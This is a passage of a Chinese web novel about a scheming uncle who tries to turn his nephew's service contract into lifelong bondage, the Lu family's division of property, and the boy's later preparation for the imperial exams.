乖乖,光是一个待客的前厅就已经是顶了天了。 脚下是厚实松软的波斯地毯,闻着就让人心神安宁的顶级檀香。 眼前的桌椅是整块的金丝楠木,就连待客的茶盏,都是天青色的汝窑瓷器。 这柳家泼天的富贵,简直比传说中的还要夸张。 这等富贵人家,别说一百两,就是二百两,对他们也不值一提吧。 大伯越想心里越是火热,觉得这次自己是来对了。 “说起来,多谢夫人赏赐,这些日子家中二弟,弟妹,父母日子过得比以前强了不止一筹。” 大伯搓着手,一脸感激涕零的模样。 “我寻思着,不能辜负了夫人的一番恩情,这才做了一身衣裳,穿着来拜见夫人,也算是给璘哥儿那孩子长长脸。” 大伯倒是个聪明人,也知道解释一下这身料子的来历。 毕竟是柳家送给二房的东西,不解释一番,怕后续开口不顺利。 林氏点了点头,脸色依旧平静。 第34章 发疯的李氏 大伯顿了顿,决定换个话题,从卢璘开始切入。 “说起来,璘哥儿这孩子能有今天,真是不容易啊。” “想当初,我在家里温书备考,他日日在我身边耳濡目染,我时常提点他几句为学之道,没想到这孩子争气,一点就通。” 林氏端起茶盏,轻轻吹了吹浮沫,眼皮都未曾抬一下。 “原来如此,那倒是辛苦大伯了。” “不知大伯今日前来,所为何事?” 林氏将茶盏放下,发出清脆的一声轻响,看样子林氏耐心已经耗光,不准备和他废话了。 大伯等的就是这句话,露出一副思念卢璘的表情,摇头感叹道: “哎,主要还是来看看璘哥儿。” “这孩子虽然出息了,可学问一道,如逆水行舟,不进则退。我想着,左右我也要在县城里待上几日,不如就住在府上,顺便再教导教导他。” 林氏的目光,状似无意地瞥向不远处那道厚重的珠帘。 帘子后面,是通往内堂的走廊。 此时,卢璘一家三口就在那。 她能想象到,此刻那一家三口是何种心情。 还想在柳府多住几日?真是好大的脸。 大伯见林氏脸色不变,还以为对方被说动了,继续侃侃而谈: “不瞒夫人说,我一位同窗的恩师,乃是府城里有名的大儒,前几日见了我的文章,大加赞赏,说我这次县试,十拿九稳。” “如此大才,我总想着备一份厚礼拜见,以谢知遇之恩。只是……只是我最近手头实在有些紧,囊中羞涩啊。” 他一边说,一边小心翼翼地观察着林氏的神色。 “所以,想跟府上借些银钱周转一二。” 林氏心中冷笑,面上却不动声色。 “读书人的事,自然是顶顶重要的,万万不能耽误了前程。” “不知大伯想借多少?” 大伯一听这话,眼睛瞬间就亮了。 有戏! 小桃红的赎身银子,还有外面欠下的赌债,这下都有着落了。 心里一阵狂喜,但还是努力克制住了。 “不……不多。” 大伯故作镇定地伸出一根手指。 “一百两。” 见林氏没什么反应,他赶紧补充道。 “那位大儒最是风雅,寻常礼物入不了他的眼。我打算去买一副前朝大家的墨宝送去,这种文雅之物,向来是这个价。” 林氏听完,终于笑了。 这个笑容让大伯越发心里踏实。 “借钱可以。” “只是,亲兄弟明算账。这么大一笔银子,总得有个抵押才是。” 大伯闻言微微一愣,似乎没想到还有这一出,但他反应极快。 “抵押?”眼珠子一转,大伯立刻就有了主意。 “夫人有所不知,我那侄儿卢璘,当初与府上签的,是十年的活契吧?” “我在家里,还是有几分话语权的。这件事,我就可以做主。” 大伯挺起胸膛,一副大义凛然的样子。 “我能做主,将他的活契,改成死契!一辈子都是柳家人了。” 林氏闻言微微一愣,随后好整以暇的瞥了大伯一眼,轻笑一声: “噢?那你可知,签了死契,一辈子就是柳府的人了。” “说的难听一点,一辈子都是柳府的奴才了。” “连我一个大门不出的女人家都知道,大夏朝奴籍,功名学位,只能止步于秀才......” 大伯闻言,摇头一笑,一副都是为了侄子卢璘好的样子。 “小时了了,大未必佳,我那侄儿我清楚,能考中秀才已经文道眷顾了,再不敢妄想其他。” “举人进士都是镜花水月,空中楼阁。” “能一辈子跟在柳家这样诗书传家的大家里当差,就已经是天大的福气了,旁人求都求不来呢。” 大伯见林氏一言不发,还以为是林氏不相信自己有这个能耐,当即拍着胸脯保证。 “夫人放心,我毕竟是家里唯一一个读书人,又是他大伯,说话还有点分量。” “回去就把契约文书拿过来,改成死契。” 话音刚落,珠帘后方,一声压抑不住的哭泣猛地响起。 紧接着,李氏像一头发了疯的母兽,撞开厚重的珠帘,冲了出来。 “你这个畜生啊!黑了心的畜生啊!” 李氏双目赤红,头发散乱,哪里还有半分在柳府的拘谨。 “为了你那一百两银子,你就要卖了你的亲侄儿!” “让他一辈子当奴才,给你换钱去花天酒地!你还有一点良心吗?” 突如其来的变故,让前厅里的空气瞬间凝固。 大伯脸上的谄笑僵在嘴角,目瞪口呆地看着突然冲出来的李氏,脑子一片空白。 弟妹……她怎么会在这里? 弟妹也在,那岂不是...... 紧接着,大伯的目光越过李氏,看到了她身后,一瘸一拐走出来的卢厚,和神色依旧平静的侄子卢璘。 大伯的脸色,唰的一下,变得惨白。 李氏冲到大伯面前,指着他的鼻子,开始控诉。 “为了你那一百两银子,你就要把你亲侄儿往火坑里推!” “让他一辈子当奴才,永世不得翻身,你还是不是人!” “我问你,我男人那条腿,是不是你害的!” 声音愈发凄厉,李氏就像被激怒的母兽。 “你借了印子钱,写我男人的名字,害他平白无故被人打断了腿!” “你还有没有良心!” “还有脸穿着这身衣服来柳家招摇撞骗!” “昨天在醉仙楼里,你抱着窑姐,吹嘘自己跟柳家的关系,败坏我儿子的名声......” 一桩桩,一件件,将大伯那张虚伪的读书人面皮,撕得粉碎,没有半分体面。 大伯闻言,如遭雷击,脸色由白转青,又由青转紫。 印子钱……醉仙楼…… 这些事,他们怎么会知道! 他下意识地后退一步,脚下踉跄,差点跌倒。 眼看事情败露,大伯眼珠子一通乱转,索性心一横,摆出了一副委屈至极的模样。 “我借印子钱,那不是没办法吗?我是读书人,马上就要下场科考,怎么能留下这种污点?” “写老二的名字,也是想着,等我考中了秀才,有了功名,这点钱算什么?到时候一并还了,谁都不会知道。” “至于老二的腿……我怎么会想他出事啊!那可是我亲弟弟!那都是意外,是那些泼皮不讲道理啊!” 第35章 分家风波。 大伯紧接着话锋一转,又开始解释醉仙楼的事。 “我去那里,是为了结交同窗,是为了打探县试的内情!” “我做这么多,是为了谁?还不是为了能考中秀才,光耀门楣!” “我出息了,璘儿在柳家的地位不也更稳固吗?我这都是为了咱们卢家啊!” 一番言辞恳请的说辞,说得声泪俱下。 甚至让别人觉得,大伯才是那个忍辱负重,为家族付出最多的人。 “还有死契的事,更是为了璘儿好!” “你们真以为他是什么天纵奇才,能一路考上举人进士?” “小时了了,大未必佳!能安安稳稳在柳家当一辈子差,是多少人求都求不来的福气!” 大伯越说越激动,唾沫横飞,不知道的还以为他占了大义,占了理。 自始至终,卢厚都一言不发。 只是静静地看着自己的亲大哥,看着这个他从小敬重,处处忍让的人。 只是那张憨厚老实的脸上,再没有了往日的懦弱与顺从。 只剩下无尽的失望。 良久,卢厚才长长地吐出一口气,抬眼看着大伯。 “大哥,别说了,回家吧。” 大伯愣了一下,还以为老二被自己说动了。 “回去做什么?我这还没和同窗打声招呼呢?” 卢厚拉起哭倒在地上的李氏,头也不回,轻飘飘地抛出一句话。 “回去分家!” 大伯闻言,瞬间呆立当场。 ....... 下河村 三三两两的村民,在村口的大槐树下躲着秋老虎的日头。 这里是下河村的CBD,同时也是信息交换中心。 谁家有个啥新鲜事,东家长李家短的,在这坐上片刻就能门清。 其中当然包括卢家要分家这件事。 “听说了吗?卢家要分家了!” “哪个卢家?卖孙子给柳家那个?” “可不是嘛!” “奇了怪了,卢老二那个三棍子打不出个闷屁的老实人,怎么突然要分家?” 其中一个汉子撇了撇嘴,一脸不屑,自以为看到了第三层。 “这你就不懂了,这卢老二刚过上几天好日子,就不想管老的了呗。” “看着老实,指不定一肚子坏水呢。” “哎,话不能这么说!” 又一个刚路过的汉子凑了过来,压低了嗓门。 “这事儿啊,还真不怪卢老二。” “是卢家老大读书读昏了头,真不是个东西!” 听到有内情,村民们一个个伸长了脖子,脸色都是吃瓜的好奇。 汉子也不废话,把自己刚路过卢家小院听到的消息说了出来。 “他逼着自己亲侄儿签死契,好换钱花!” “借了印子钱,写的是自己亲弟弟的名字,害得卢老二腿都差点断了。” “前两天柳家送来的那些赏钱,好家伙,他转头就拿去醉仙楼里潇洒了!” 这话一出,周围的人都倒吸一口凉气。 “醉仙楼?我的乖乖,那地方是咱们这些泥腿子能去的?” “听说里头的小娘们,一个个水蛇腰,勾魂得很!” “要我说,还是春香楼的头牌好看……” 眼看着话题就要从卢家分家,歪到哪个窑姐儿屁股更翘上,不知是谁喊了一声。 “去卢家院子外头听听,这会子肯定正闹着呢!” 一群人立刻来了精神,扛着锄头,踮着脚,乌泱泱地朝着卢家小院摸了过去。 …… 还没靠近,凑热闹的村民们远远就听见李氏哭天喊地的嚎叫声。 “你这个畜生!你还有没有心!” 村民们挤在院门口,伸长了脖子往里瞧。 只见李氏披头散发,正指着跪在地上的大伯破口大骂。 大伯做的那些破事,一桩桩一件件车轱辘似的来回讲。 卢老爷坐在门槛上,手里的旱烟杆抖得厉害,一张老脸涨成了猪肝色。 “你这个逆子!”猛地一拍大腿,指着大伯的鼻子。 “我卢家的脸,都让你给丢尽了!” 大伯跪在地上,一把鼻涕一把泪,拼命地磕头。 “爹!我错了!可我也是为了咱们卢家啊!” 大伯抬起头,脸上满是委屈,一路跪到卢老爷面前,紧紧抱着卢老爷的大腿。 “爹啊,儿子马上就要县试了,不能在这个时候留下污点啊!” “儿子在家认真温书备考了这么久,这次十拿九稳啊,也实在没办法,才会写二弟的名字啊!” “等我考中了秀才,光耀了门楣,这点事算什么?” “柳家看在我是个秀才大伯的份上,只会更高看璘儿!” 卢老爷闻言气得浑身发抖,一脚把大伯踢倒在地上。 “那你个畜生还想去柳家借钱?你有没有想过,柳家会怎么看璘儿?会怎么看我们卢家!” 大伯又踉踉跄跄地跪着过来,哭嚎着解释。 “爹,我那是没办法啊!” “同窗都说了,只要送上一份厚礼,这次县试,我必过无疑啊!” “我都是为了咱们家能出个读书人啊!” 卢老爷仍旧是满脸怒气,但听到大儿子一心是为了卢家出个读书人,心里也隐隐有些松动。 但看到在一旁一言不发的二儿子,和哭倒在地上的李氏。 一时间只能闭上眼睛吧嗒吧嗒地抽着闷烟。 再睁开时,眼里的火气已经熄灭,只剩下无尽的疲惫。 “分吧。” 两个字,轻飘飘地从卢老爷口中吐出来。 院外的村民们顿时议论纷纷。 “唉,这叫什么事啊。” “卢老二也太憋屈了,自己受了罪,到头来,还得为他大哥的前程让路。” “可不是嘛,这卢老头的心,真是偏到胳肢窝里去了。” “换我,我也分!这日子没法过了!” 卢老爷听着外面的议论声,一张老脸火辣辣的疼。 他知道自己亏欠了二儿子,张了张嘴。 “老二,家里……家里的田地,你多拿两亩,那几间空着的厢房,也归你……” 一直沉默的卢厚,却在这时摇了摇头。 他扶起还在哭泣的妻子,目光平静地看着自己的父亲。 “爹,不用了。” “之前柳家送来的那些东西,还有那五十两银子,就当是我们二房孝敬您二老的。” “我们什么都不要。” “只要村西头那块荒地,我们自己盖两间茅草屋,就够了。” 卢老爷心就像被人掐住了一样,疼得他狠狠地用力多抽了几口。 长长地吐出一口烟气后,嘴唇哆嗦了半天,最终只化作一声长长的叹息。 “好。” 只一个字,却抽干了他全身的力气。 卢老爷本就疲惫苍老的面庞,看上去又老了一截。 第36章 新家新气象 当天下午,分家的文书还没写好,一辆马车停在了卢家小院的门口。 村里人还没散干净,远远地瞧见这阵仗,又都悄悄围了过来。 车帘掀开,先下来的是几个身形健壮,穿着统一短打的家丁。 紧接着,穿着一身干净得体的细棉布衣裳的卢璘从车上跳了下来。 一进门就看到祖父卢老爷正蹲在门槛上,一口接一口地抽着闷烟,整个人像是被抽走了精气神。 卢老爷看到孙子卢璘,又看到他身后那几个气势不凡的家丁,手里的旱烟杆啪嗒一声掉在了地上。 眼里瞬间涌满了泪水,踉跄着站起来。 “乖孙,爷爷……” 卢老爷嘴唇哆嗦着,一把抓住卢璘的手臂。 “爷爷对不住你们一家啊!” 一声压抑的哭嚎,让整个院子都安静了下来。 卢璘静静地看着这一幕,脸上没有半分波澜。 祖父的眼泪,或许有几分真心。 可更多的,是无法面对自己良心的愧疚。 这哪里是分家。 这是为了保全大伯那可笑的读书人声誉,为了让他能安安稳稳地参加县试,而做出的牺牲。 他们这一房,几乎算是被赶了出来。 一亩荒地,几袋子粮食,还有几件缺了口的破旧锅碗瓢盆。 这就是他们分到的全部家当。 柳家派来的家丁没有多问一句,躬身走进李氏和卢厚的房间,将那些少得可怜的东西一件件搬了出来。 家丁们动作麻利,尽管东西破破烂烂,但一个个小心谨慎,生怕磕着碰着。 可越是这样,就越显得讽刺。 东西很快就装上了车,甚至都没占满马车的一个角落。 卢璘走到卢老爷面前,对着他,恭恭敬敬地磕了个头。 “祖父,我们走了。” 没有怨恨,也没有不舍。 卢厚和李氏也跟着跪下,重重地磕了三个响头。 卢老爷老泪纵横,喉咙里一句话都说不出来。 这时,三婶突然从屋里冲了出来,手里拿着大包小包的。 “二哥,二嫂!” “这是我平时缝补的衣服,还有些不值钱的东西,你们拿着...” 三婶眼含担忧,平日里妯娌间虽然磕磕碰碰,但这时是真为二哥二嫂心里不值。 可公公决定的事,她一个女人家哪有说话的资格。 “你们到了县里,就三个人,哪忙得过来?” “要不……我跟你们去搭把手?” 卢璘有些意外地看了三婶一眼。 平日里尖酸刻薄,凡事都要算计一番,此刻的关心做不了假。 卢璘突然觉得,三婶好像也没那么讨厌了,甚至还有几分可爱。 “多谢三婶,不用了。”卢璘摇了摇头,还是婉拒了她的好意。 “都安排好了。” 夫人已经在县里为爹娘寻了一处清静的院子,什么都不用他们操心。 秋风萧瑟,卷起阵阵枯黄落叶。 卢家小院的门再次打开。 李氏背着大包小包,怀中还抱着不停哭泣的小石头,一边暗自垂泪,一边安抚小女儿。 卢厚一瘸一拐一步三回头,望着卢家小院泪流满面。 卢璘跟在爹娘身后,脸色平静,看不出悲喜。 一家四口登上马车,缓缓启动的马车,碾过院门外口凹凸不平的土路,带起一阵尘土。 院中的卢老爷站在原地,看着马车越走越远,最终消失在村口那棵歪脖子老槐树的后面。 浑浊的眼睛里,泪水终于止不住。 这一走,也不知道,下一次见面,会是什么时候了。 .......... 马车在清河县一处僻静的小巷里停下。 文庙街的青石板路洗得干干净净,两侧是白墙黑瓦的民居,墙角探出的几枝光秃秃的石榴树,透着一股安宁。 车夫麻利地放下脚凳,卢璘先一步跳下车,转身扶着爹娘。 李氏和卢厚站在一座小巧的院门前,有些手足无措。 院门是新刷的桐油,一股淡淡的木香,冲散了李氏和卢厚离愁别绪。 李氏看着眼前这个干净整洁的院子,眼圈一下子就红了。 心里那点分别的伤感,也不知不觉淡了几分。 这里,就是他们往后的家了。 家丁们将马车上那点少得可怜的家当搬进院里,李氏和卢厚也跟着走了进去。 院子不大,却打扫得一尘不染,角落里还种着几株翠竹,给小院平添了几分雅致。 李氏看着这一切,心里既踏实,又有些恍惚。 卢璘也是第一次踏进这个小院,心里有些感慨。 终于在这个世界,有了和爹娘的一处落脚之地。 这个小家,是他和夫人林氏用未来的分红预支的。 房契上写的是卢厚的名字。 柳家再好,他也是寄人篱下。 小家哪怕再破,那也是自己的家。 没有着急开始收拾新家,李氏坐在桌边,从怀里掏出一个打了好几个补丁的布袋,小心翼翼地解开。 她将里面的东西一股脑倒在桌上。 几块碎银,还有一串串用麻绳穿起来的铜钱。 还有一小堆铜板,是她平日里省吃俭用,从牙缝里抠出来的,一共八百文。 除此之外,就是几件破旧的锅碗瓢盆,和几身打着补丁的旧衣裳。 这就是他们全家的家当。 二十两银子,对庄户人家来说,是一笔想都不敢想的巨款。 可李氏怎么也轻松不起来。 这里是县城,不比在下河村。 在村里,没钱了还能去地里刨食,去山上砍柴。 可到了这县城,睁眼闭眼,哪一样不要钱。 吃的米,烧的柴,喝的水,样样都得花铜板。 这二十两银子,看着多,可真要花起来,又能撑得了多久。 “咱们没有地,你爹的腿又还没好利索,总不能就这么坐吃山空吧。”李氏皱起眉头,心里很不踏实。 卢厚虽然没有开口,但心里想着其实也是一样。 县里虽然好,离儿子也近。 可对于习惯了在地里刨食的卢厚来说,来了县城两眼一抹黑,自己又能做什么呢。 总不能处处都指着柳家帮衬吧? 卢璘瞧出了爹娘的不安,轻笑着摇了摇头,走上前轻轻握住李氏的手。 “娘,您别担心。” 他顿了顿,目光又落到父亲那条还不太利索的腿上。 “爹的腿还没好利索,不能干重活。” “冰玉轩正好缺人手,爹可以先去铺子里帮帮忙,活计不累,工钱也足够咱们家用。” “娘这里你也不用担心,先好好歇上几天,过两日,我让夫人帮您寻个活计。” “到时候我在柳府好好读书,娘和爹在外面好好过日子。” “咱们一家日子,会越过越好的。” 第37章 时光荏苒 儿子的话微微抹去了一些李氏的不安。 是啊,冰玉轩。 这铺子可是有儿子的一份。 自己也有手有脚,再不济也能找些浆洗拾破烂的活计。 只要儿子在身边,又有盼头,一家三口总能把日子过下去。 心里的那块大石头,悄然落了地。 李氏便开始收拾着新家,一边让卢厚打水,一边指挥着卢璘做点不累的小活。 自己则挽起袖子,准备把新家里里外外地收拾一遍。 这时,院门外忽然传来一阵熟悉的声音。 夫人林氏带着少爷,在王管事的陪同下,推门而入。 “妹子,新家还住得惯吗?” 夫人林氏脸带笑意,身后的家丁们则抬着一个个崭新的箱笼。 “夫人,您怎么来了。” 李氏放下手里的活计,连忙迎了上去,就准备行礼。 卢厚也憨笑着走了过来。 林氏摆了摆手,示意他们不必多礼。 “知道你们搬家匆忙,肯定缺东少西的。” “入秋的时候,家里多采买了一些东西,正好给你们送过来,也省得你们再花钱去外面置办了。” 她让家丁打开箱子。 里面是两床厚实的棉被,被面是崭新的靛蓝色细棉布。 还有全新的锅碗瓢盆,一套青瓷的碗碟,一把厚重的铁锅,连带着油盐酱醋都备得妥妥当帖。 林氏说得轻描淡写,可这份体贴周到,却让李氏心里一暖。 夫人真是慈悲心肠啊! 当然,李氏很清楚,夫人这份重视源自哪里。 老话说前三十年,看父敬子,后三十年,看子敬父。 李氏也清楚这个道理,只是没想到还没到三十年,自己两口子就已经提前体会到了看子敬父的感觉。 少爷可不管这些,懒得听大人们客套,一进门就黏上了卢璘。 “璘哥儿,今天晚上还有孙悟空的故事听吗?” 卢璘正帮着李氏铺床,闻言头也不抬地敷衍了一句。 “今天没空。” 少爷顿时不乐意了,小嘴一撇,搬出了自己的杀手锏。 “夫子可是说了,让我盯紧你的课业!” “你别想偷懒!” “你要不给我讲故事,回头我就去给夫子告状。” 卢璘闻言,又好气又好笑地转过头。 “倒反天罡了你。” “夫子让你盯着我?你自己的课业都学完了?” 少爷理直气壮地挺起小肚子。 “我哪有什么课业。” “夫子早就放弃我了,我现在就一个差事,专职盯着你!” 屋子里的人,都被少爷的无赖行径逗得笑了起来。 连亲娘林氏都只能摇头失笑。 家丁们手脚麻利,很快就将新家整理得井井有条。 林氏看着焕然一新的屋子,满意地点了点头,转头开口。 “妹子,这会也不早了,今天就别开火了。” “去府里吃,就当是给你们一家三口庆贺乔迁之喜。” 李氏有些犹豫,按照习俗,新家第一顿开火,还是在家里好一些,而且也怕打扰到柳府。 可卢璘却没有那么多顾虑,只想着让爹娘少点麻烦。 “娘,走吧,正好也认认路,以后得闲就来看看我。” 儿子一开口就把李氏那点顾虑给打消了,笑着应了下来: “看你作甚,看你被夫子打是吧!” ............ 时光荏苒,如同清河县外那条奔流不息的河水,不舍昼夜。 田里的麦子熟了一轮又一轮,京城朝堂上的风云几度变幻,你方唱罢我登场。 大夏的年轮,悄然又添上了几笔。 又是一个寒冬。 漫天皆是鹅毛大雪,将整个清河县都裹上了一层厚厚的银装。 通往文庙街的青石路上,积雪没过了脚踝,一个身影从风雪中缓缓走来。 一个十三四岁的少年,身着一袭月白色的长衫,外面只松松垮垮地罩着一件玄色大氅,领口的风毛更衬得他面如冠玉,眉目清隽。 纷纷扬扬的雪花落到他身前三寸处,便悄然滑落,不染片尘。 少年嘴里正哼着一段无人听过的曲调,旋律轻快又带着几分沧桑。 “我曾经跨过山和大海,也穿过人山人海……” 一路不紧不慢地走着,可速度却一点不慢,转眼间少年便停下了脚步。 眼前是一座寻常的临街小院,黑瓦白墙,在漫天风雪中透着一股安宁。 少年抬手,轻轻叩响了院门。 “吱呀”一声,门开了一道缝,探出一个粉雕玉琢的小脑袋。 那是个约莫五六岁的女娃,梳着两个可爱的抓髻,一双眼睛又黑又亮。 看到少年,女娃的眼睛瞬间发亮。 “哥哥!哥哥回来了!” 女娃欢呼一声,猛地拉开院门,乳燕投怀地扑到少年的怀里。 少年笑着伸出手,精准地捏住了她肉嘟嘟的脸蛋。 “哎呀!” 女娃不满地鼓起了腮帮子,含糊不清地抗议。 “再捏,脸就更圆了!” 少年轻笑一声,手指非但没松,反而又轻轻揉了揉。 院子里,一个身形敦厚的中年男人正拿着扫帚,一下下清扫着院内的积雪。 他听到门口的动静,抬起头,脸上露出了憨厚的笑容。 “璘儿回来了。” “快进屋,外面雪大,别冻着。” 话音未落,堂屋的门帘被掀开,一个荆钗布裙的中年妇人探出身来,脸上带着嗔怪,手里还拿着一件厚实的棉袄。 “璘哥儿,今天怎么回得这么早?” 卢璘接过母亲递来的棉袄,却没有穿上,拉着妹妹的小手,迈步走进温暖的堂屋。 “课业都完成了,沈夫子放了我的假。” “接下来一段时日,都不必去柳府了。” 卢璘目光在屋里转了一圈,最后落在母亲李氏身上。 “娘,这几天雪太大了,路都不好走,铺子里的生意就先别做了。” 这几年,卢璘凭着前世的记忆,捣鼓出了几样卤水的方子。 李氏和卢厚在文庙街上开了家小铺,取名“卢记下水”,专卖些卤煮下水。 因着味道醇厚,价格又公道,“卢记下水”的生意,在清河县倒也算红火。 正在扫雪的卢厚闻言,停下了手里的动作,脸上有些犹豫。 “可……这天寒地冻地,街坊邻居,还有那些在码头扛活的,就指着咱们家那口热乎的吃食,才有力气干活。” 第38章 又是一年春好处。 李氏闻言没好气地白了丈夫一眼。 “你当你是活菩萨啊。” “离了你那口吃的,人家就活不下去了?” 卢璘看着自家老爹那副犹豫的模样,提议道: “爹,娘说得对,安全要紧。” “这样吧,您要是实在不放心,待会儿我陪您去一趟店里,把剩下的存货处理了,正好也跟老主顾们说一声。” 卢厚这才咧开嘴,憨厚地点了点头。 卢璘又看向正围着火盆,小脸烤得红扑扑的妹妹。 “还有,小石头也到年纪了,该送去蒙学了。” 小石头本名叫卢玥,只是家里人都习惯叫她的小名。 自从三年前,沈夫子偶然来过一次铺子,见到了粉雕玉琢的卢小石后,便对这孩子上了心。 之后每次见到卢璘,都要催上几句,让他早些把妹妹送去蒙学。 在沈夫子看来,卢家这小女娃,哪怕天资比不上她那个妖孽哥哥,比卢璘差一点的话,也绝对是块不可多得的璞玉。 正掰着手指头数数的卢小石听到蒙学两个字,小脑袋摇得像拨浪鼓。 “我才不要去蒙学!” “我要继承咱家的卢记下水!”她一脸认真地宣布。 那一脸认真的的模样,惹得卢璘三人发出阵阵笑声,堂屋里的空气都欢快了不少。 ................. 风雪漫天。 小院的门再次被打开。 卢璘和卢厚顶着漫天风雪走出了院门,沿着已经清理好的一条小路,一路来到了卢记下水铺子前。 铺子门脸不大,一口半人高的大铁锅架在门口。 这是卢璘的建议,敞开式厨房,客人们瞧得真切,吃得安心。 卢厚熟练地起火,把锅里的老卤水煮至沸腾。 不多时,汤汁咕嘟咕嘟翻滚,各种下水卤煮在汤里沉浮,散发出阵阵香气。 一个裹着旧棉袄的汉子哆哆嗦嗦走进店里,随意找了个空位子坐下。 “多小肠,多心肺,不要肝......” 这是常客了,很快卢璘端着一碗热气腾腾的卤煮,送到桌前。 汉子端起卤煮,先美美地尝了口汤,在嘴里砸吧砸吧了滋味后,哈出一口白气。 “这个大冬天,还得是这一口啊,舒坦~~” 正在案板后忙活的卢厚抬起头,憨厚地笑了笑。 “吃得惯就好。” 汉子又嘬了一口热汤,等热气走遍全身,驱散了寒意后,忍不住又念叨起来。 “就你家实诚,这鬼天气,街上卖炭的都涨了两文钱,你这卤煮硬是没涨价。” 卢厚只是笑,手里的活计却没停。 铺子里本就狭小,随着午时临近,尽管风雪漫天,却还是挤满了人。 大多是附近码头的力工,还有些赶路的行脚商。 一时间,抱怨声此起彼伏。 “这雪下得邪乎,再下两天,码头都要封了。” “可不是嘛,今年的收成不好,税又重,日子是越发难过了。” 卢璘站在一旁,默默地帮着收拾碗筷,目光却飘向了窗外。 这雪,确实下得太大了。 大得有些奇怪。 就在这时,铺子的棉布门帘猛地被人掀开。 一股寒风卷着雪沫子灌了进来。 一个身材高大,肩膀宽阔的年轻人,跺着脚走了进来。 他身上那件昂贵的狐裘大氅,沾满了雪花。 操着一口正处于变声期的嗓音,开口像是鸭子叫。 “卢叔,饿死我了,赶紧的,弄点吃的!” 年轻人说着,眼珠子在铺子里扫了一圈,看到在人群里帮忙的卢璘后,眼睛一亮。 “璘哥儿,我就知道你在这儿!” 卢璘抬起头,看着来人,嘴角微微勾起。 “少爷今天又偷懒,没去演武堂?” 来人正是柳家少爷。 几年过去,当初那个胖乎乎的男童,如今已经抽条成了挺拔的少年,只是眉宇间,依旧带着几分未脱的稚气。 “嗨,别提了。” 少爷撇了撇嘴,满不在乎地坐下。 “什么演武堂,挂个名头罢了,那几个教习的拳脚功夫,还没我好,能学到个鸟用。” 大夏朝前几年颁布新政,在各地广设演武堂,说是为那些读书不成器的子弟,另寻一条出路。 旁人听了这话,只当是少年吹牛。 演武堂,可是前几年朝廷在大夏各地大力推行的国策。 为的就是给那些在读书一道上没有天赋的世家子弟,多寻一条报效国家,光耀门楣的出路。 能进去的,非富即贵。 可卢璘听了,却只是点了点头。 他倒不觉得少爷在吹牛。 少爷读书上确实没什么天赋,可是在拳脚技艺一道上的天赋,却是点满了的。 少爷灌了一大口热茶,目光落在卢璘身上,突然压低了声音。 “我说,璘哥儿,今年的童生试,沈夫子还不让你下场?” “他到底要把你压到什么时候?” 童子试也称童试,也就是传统意义上的考秀才。 分三个阶段,县试、府试、院试。 过了院试,录取的就是生员,也叫秀才。 卢璘的大伯就是过了县试和府试两关,有了童生的称号,只是院试一直没过。 即便是分家后,连续四五年,卢璘大伯又参加了几次院试,仍是一样的结果。 再过一个月,就是今年的童试了。 卢璘听前段时间来县里的三叔提过一嘴,这一次大伯照例参加,并且把握比之前大多了。 少爷见卢璘不当回事,心里替卢璘干着急。 明明已经完成了沈夫子各种离谱的要求,可硬是被压着不让参加科举。 卢璘学问好到了什么地步,他最清楚。 连沈夫子都时常感叹,说教无可教。 几年前,爷爷柳太爷回乡省亲,见了当时不过十岁的卢璘写的文章,都捻着胡子,半天挑不出一个错字。 卢璘的表情没什么变化,淡淡地摇了摇头。 “夫子自有他的打算。” 话是这么说,可卢璘自己心里,何尝不疑惑呢。 去岁这个时候,夫子给他的答案是时机不到,不宜下场。 一年光景过去了,又到了一年童试的时候。 卢璘还没来得及问,也不知道夫子到底怎么打算的。 第39章 魏长青 柳府,暖阁。 外面是漫天大雪,而屋内却温暖如春。 一鼎兽首铜炉里,上好的银霜炭烧得正旺,没有半点烟火气。 一局手谈,已至中盘。 身着锦袍,须发浓密的老爷执起一枚黑子,沉吟半晌,迟迟没有落下。 目光越过棋盘,望向窗外那漫无边际的风雪。 “夫子,这雪下得有些怪了,几乎可算得上我大夏朝立国以来最大的一次了。” 正对面的沈夫子,目光依旧落在棋盘上,闻言只是淡淡地嗯了一声,心思全在棋局之上。 老爷收回目光,端起手边的热茶,轻轻吹了吹。 “天时反常,不知这人事,又会如何?” 风雪到了,意味着新一轮的科举也近了。 前几年璘哥儿年纪确实太小了。 过早地崭露头角,顶着一个神童的名号,未必是好事。 木秀于林,风必摧之。 这一点,是他与沈夫子达成了共识,摸一摸璘哥儿的性子是一方面。 更深层的原因,则与院试有关。 大夏的童试,分为县试、府试、院试三场。 县试在清河县本地举行,由知县主持。 以柳家在清河县的地位,即便那知县再如何不喜欢神童,看在柳家的面上,也断然不敢在考场上做什么手脚。 两人都对璘哥儿的学问有着自信。 不需要任何偏袒,只需要一个公正。 以璘哥儿的水平,早就可以下场。 可院试,却完全是另一回事。 院试由各省的学政主持,而过去几年的那位学政,是出了名的倒宴派。 此人对当朝首辅宴居的政见嗤之以鼻,连带着对宴居广罗天下,建的神童太学也十分不屑。 对于各地捧起来的神童,更是厌恶到了骨子里。 在那位学政眼中,神童就是沽名钓誉,是投机取巧,是歪门邪道。 璘哥儿若是在那个时候下场,只怕文章写得再好,也会被那位学政先入为主地打入另册。 归根到底,还是受到了那位身居高位的宴首辅的波及。 沈夫子闻言终于抬起了头,手中的黑子悬在半空,迟迟没有落下。 目光平静的看着柳老爷,反问了一句。 “新的学政,什么时候到任?” 老爷微微一顿,旋即了然。 原来如此,夫子在等这个。 这一届的学政任期已满,新的学政最迟这周便会抵达府城上任。 看来,即便是久不在朝堂,夫子的消息还是那么灵通。 定然是已经知道了新任学政的底细,晓得了对方属于哪个阵营。 否则,绝不会松口让自己的爱徒下场。 知道答案后,老爷心中那块悬了几年的石头,终于落了地。 他放下茶盏,脸上露出了久违的笑容。 沈夫子笑着捋了捋花白的胡须,手中的黑子,终于落下。 “啪”的一声,清脆悦耳。 棋局之上,大龙已活。 .......... 三天后 临安府,码头。 大雪初歇,江面上的浮冰还未化尽,寒风裹挟着水汽,刺得人脸颊生疼。 往日里充斥着脚夫号子与鱼腥味的码头,今日却被一众锦衣华服的身影站满。 临安府有头有脸的士绅豪族,几乎都派了人来。 就连临安知府,也腆着肚子搓着手,在寒风中翘首以盼。 人群之中,气氛却透着几分诡异的安静。 所有人的目光,都有意无意地瞟向同一个方向。 不远处,柳老爷独自静立,身边只有个帮忙撑伞的老管家。 可他的出现,本身就是一件极不寻常的事。 “没想到,清河柳家都来了,真是怪事啊!” “是啊,柳家的老太爷在京中可是当朝阁老,与宴首辅在朝堂上斗得你死我活,这柳老爷跑来迎接政敌的门徒,是什么道理?” 